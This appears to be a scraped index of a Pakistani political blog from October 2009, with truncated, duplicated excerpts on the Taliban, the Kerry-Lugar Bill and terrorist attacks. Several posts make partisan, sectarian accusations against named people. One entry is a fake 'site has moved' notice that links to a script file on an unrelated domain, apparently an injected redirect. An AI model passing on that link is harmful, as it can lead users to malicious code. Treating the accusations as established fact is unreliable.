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Nawaz Sharif’s opportunistic politics and the Kerry-Lugar Bill: ایک سوال کے جواب میں نواز شریف نے تصدیق کی کہ وزیر اعلیٰ پنجاب میاں محمد شہباز شریف اور قومی اسمبلی میں قائد حزب اختلاف چوہدری نثار علی خان نے گزشتہ
Nawaz Sharif’s opportunistic politics and the Kerry-Lugar Bill: ایک سوال کے جواب میں نواز شریف نے تصدیق کی کہ وزیر اعلیٰ پنجاب میاں محمد شہباز شریف اور قومی اسمبلی میں قائد حزب اختلاف چوہدری نثار علی خان نے گزشتہ دنوں آرمی چیف جنرل اشفاق پرویز کیانی سے
Treat Talibanisation, not Taliban – Analyses by Irfan Hussain and Saleem Safi: Treating symptoms, not the disease By Irfan Husain Saturday, 17 Oct, 2009 (Dawn) So what has fuelled this deadly trend? Zia’s zeal to send the country back to the medieval era was certainly one factor. And
Treat Talibanisation, not Taliban – Analyses by Irfan Hussain and Saleem Safi: Treating symptoms, not the disease By Irfan Husain Saturday, 17 Oct, 2009 (Dawn) So what has fuelled this deadly trend? Zia’s zeal to send the country back to the medieval era was certainly one factor. And financing many of
Who are the Punjabi Taliban?: Articles by Nasir Jamal and Muhammad Aamir Khakwani: On trail of Punjabi Taliban By Nasir Jamal Saturday, 17 Oct, 2009 LAHORE, Oct 16: A day after the triple-strike in Lahore, officials, counter-crime experts and academics in the province grappled
Who are the Punjabi Taliban?: Muhammad Amir Khakwani On trail of Punjabi Taliban By Nasir Jamal Saturday, 17 Oct, 2009 LAHORE, Oct 16: A day after the triple-strike in Lahore, officials, counter-crime experts and academics in the province grappled with the question of how
What about the victims of terrorist attacks?: Dawn Editorial Saturday, 17 Oct, 2009 Suicide and fidayeen attacks are occurring with such numbing regularity that it is difficult to pause and reflect on the fate of the victims and their families because the next attack is only
What about the victims of terrorist attacks?: Dawn Editorial Saturday, 17 Oct, 2009 Suicide and fidayeen attacks are occurring with such numbing regularity that it is difficult to pause and reflect on the fate of the victims and their families because the next attack is only
Pakistan Begins Long-Awaited Offensive in South Waziristan: By VOA News17 October 2009 Pakistan’s military has begun a long-awaited ground offensive against the Taliban in South Waziristan. Earlier Saturday, ahead of the planned offensive, Pakistani authorities imposed a curfew in the region, an insurgent stronghold near the
Pakistan Begins Long-Awaited Offensive in South Waziristan: By VOA News17 October 2009 Pakistan’s military has begun a long-awaited ground offensive against the Taliban in South Waziristan. Earlier Saturday, ahead of the planned offensive, Pakistani authorities imposed a curfew in the region, an insurgent stronghold near the
Is there any evidence of an Islamic State in Islam?: Hamid Akhtar critiques the Khariji perspective on Islamic
Is there any evidence of an Islamic State in Islam?: Hamid Akhtar critiques the Khariji perspective on Islamic state:
Shaheed General Zia-ul-Haq: Tahir Sarwar Mir: From Shaheed Zia-ul-Haq to Azeezi Imran Khan – A parody of Haroon-ur-Rasheed’s column by Waqar Khan Daily Aaj Kal
Democracy under threat? Analyses by Cyril Almeida and Farhnaz Ispahani: Democracy under threat? By Cyril Almeida Friday, 16 Oct, 2009 President Asif Ali Zardari is the curator of the changeover to a democratic state and on his shoulders rests a very heavy burden. – Photo by Reuters Is Project
Democracy under threat? Analyses by Cyril Almeida and Farhnaz Ispahani: Democracy under threat? By Cyril Almeida Friday, 16 Oct, 2009 President Asif Ali Zardari is the curator of the changeover to a democratic state and on his shoulders rests a very heavy burden. – Photo by Reuters Is Project
Kerry-Lugar Bill and our “Ghairat”: Abdul Qadir Hassan: A column against Hussain Haqqani Nazir Naji Kerry-Lugar and our response Dissenting Note Friday, October 16, 2009Dr Masooda Bano AThe stiff response of the Pakistani military leadership to the Kerry Lugar Bill has led to the
The Punjabi Taliban and the Ostrich of Punjab: Shahbaz Sharif: ریت میں سر چھپانا مسئلے کا حل نہیں عبدالحئی کاکڑ بی بی سی اردوڈاٹ کام، پشاور لاہور اور اس کے گرد و نواح میں ہونے والی دہشتگردانہ کارروائیوں میں درجنوں ہلاک ہو چکے ہیں لاہور میں چند ہی گھنٹوں
Govt-run FM radios in FATA may go off air: Fata’s FM stations Dawn Editorial Thursday, 15 Oct, 2009 (Dawn) Given that the army is poised to take its operation against the militants into Fata, the value of such
Govt-run FM radios in FATA may go off air: Fata’s FM stations Dawn Editorial Thursday, 15 Oct, 2009 (Dawn) Given that the army is poised to take its operation against the militants into Fata, the value of such public-domain, state-run radio stations cannot be overestimated. –AP/ File photo
Thank you, PPP Government, for removing extraordinary privileges to visiting US officials: Rites of passage Thursday, October 15, 2009 A positive step has been taken by removing extraordinary privileges extended to
Thank you, PPP Government, for removing extraordinary privileges to visiting US officials: Rites of passage Thursday, October 15, 2009 A positive step has been taken by removing extraordinary privileges extended to US officials by the government of former president Musharraf. These included the right to bring in baggage without checks, enter
Three female suicide bombers in Lahore attack: Brainwashed by Farhat Hasmi: Dr Farhat Hashmi is a notorious, hate-spreading Wahhabi preacher, who has successfully brainwashed hundred of innocent girls and women in Pakistan and abroad by bringing them into
Three female suicide bombers in Lahore attack: Brainwashed by Farhat Hasmi: Dr Farhat Hashmi is a notorious, hate-spreading Wahhabi preacher, who has successfully brainwashed hundred of innocent girls and women in Pakistan and abroad by bringing them into the Saudi-Wahhabi cult. There is a possibility that the three female suicide
Time to attack the attackers. Time to arrest the Deobandi-Wahhabi sectarian terrorists in Pakistan.: There is a strong alliance between jihadi and sectarian groups in Pakistan. All of these groups belong to extremist interpretations and practices of Deobandi and Wahhabi sects. These groups are sectarian in nature, and violent in terms of their
Time to attack the attackers. Time to arrest the Deobandi-Wahhabi sectarian terrorists in Pakistan.: There is a strong alliance between jihadi and sectarian groups in Pakistan. All of these groups belong to extremist interpretations and practices of Deobandi and Wahhabi sects. These groups are sectarian in nature, and violent in terms of their
The Hypocratic Republic of Pakistan: A Profile: Country profile: Pakistan Posted by Nadeem F. Paracha in Dawn Blogs History The state of Pakistan occupies an area which was home to some of the earliest Neanderthal settlements, some of whose decedents can still be found hiding in
The Hypcratic Republic of Pakistan: A Profile: Country profile: Pakistan Posted by Nadeem F. Paracha in Dawn Blogs History The state of Pakistan occupies an area which was home to some of the earliest Neanderthal settlements, some of whose decedents can still be found hiding in
Takfiri Deobandi terrorists attack various targets in Lahore and Kohat: Who did this: Terrorists of Taliban, Al Qaeda, Sipah-e-Sahaba, Lashkar-e-Jhangvi Who supports this: Imran Khan, Jamaat-e-Islami, Maulana Fazlur-Rehman, General Hamid Gul, Ruedad Khan and others Who is their propaganda manager: Dr Shahid Masood, Ansar Abbasi, Irfan Siddiqi, Dr Shireen
Terrorists of Taliban / Sipah-e-Sahaba alliance attack various targets in Lahore and Kohat: Who did this: Terrorists of Taliban, Al Qaeda, Sipah-e-Sahaba, Lashkar-e-Jhangvi Who supports this: Imran Khan, Jamaat-e-Islami, Maulana Fazlur-Rehman, General Hamid Gul, Ruedad Khan and others Who is their propaganda manager: Dr Shahid Masood, Ansar Abbasi, Irfan Siddiqi, Dr Shireen
Bullying ‘bloody civilians’ over the Kerry-Lugar Bill: Bullying ‘bloody civilians’ By Kamran ShafiTuesday, 13 Oct, 2009 (Dawn) Our Rommels and Guderians are not about to alight from their top of the line BMWs and Mercedes and climb into Suzuki Mehrans. –File Photo I have read the
Bullying ‘bloody civilians’ over the Kerry-Lugar Bill: Bullying ‘bloody civilians’ By Kamran ShafiTuesday, 13 Oct, 2009 (Dawn) Our Rommels and Guderians are not about to alight from their top of the line BMWs and Mercedes and climb into Suzuki Mehrans. –File Photo I have read the
Text of the Kerry Lugar Bill: Senators Kerry and Lugar, the architects of the controversial bill.— Photo from File WORLD Congresswoman asks NA to accept US aid package Congresswoman asks NA to accept US aid package S. 1707 One Hundred Eleventh Congress of the United
A Pashto Poem – by Ajmal Khattak: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
An analysis of Imran Khan’s and Jamaat Islami’s stance on Taliban.: Abbas Ather Wave of violence Wednesday, October 14, 2009 Gradually the complexity and boldness of the Taliban raid on GHQ is being exposed – somewhat quicker than usual for these events, which is a welcome relief from the smokescreen
From ‘tapping the energy of djinns’ to an ‘Al Qaeda’ mindset.: Survival of the fittest Irfan Husain Wednesday, 14 Oct, 2009 Dr Abdul Salam, Pakistani theoretical physicist and Nobel laureate in Physics. — File photo Last night I saw the first in a new BBC series of nature programmes called
No more deals with ‘militants’ please, General Kayani.: More ‘deals’? Dawn Editorial Wednesday, 14 Oct, 2009 (Dawn) For one, the use of tribal elders and jirgas as mediators is not necessarily viable any more. AP/ –File photo A report in this newspaper yesterday has suggested that the
Taliban kill anothe Shia leader in Quetta: JWP leader, driver killed in Quetta QUETTA: Jamhoori Watan Party (JWP) senior vice-president Dr Aslam Mirza and his driver were shot dead by unidentified motorcyclists on Tuesday. Police are linking the killing to a series of attacks on Shia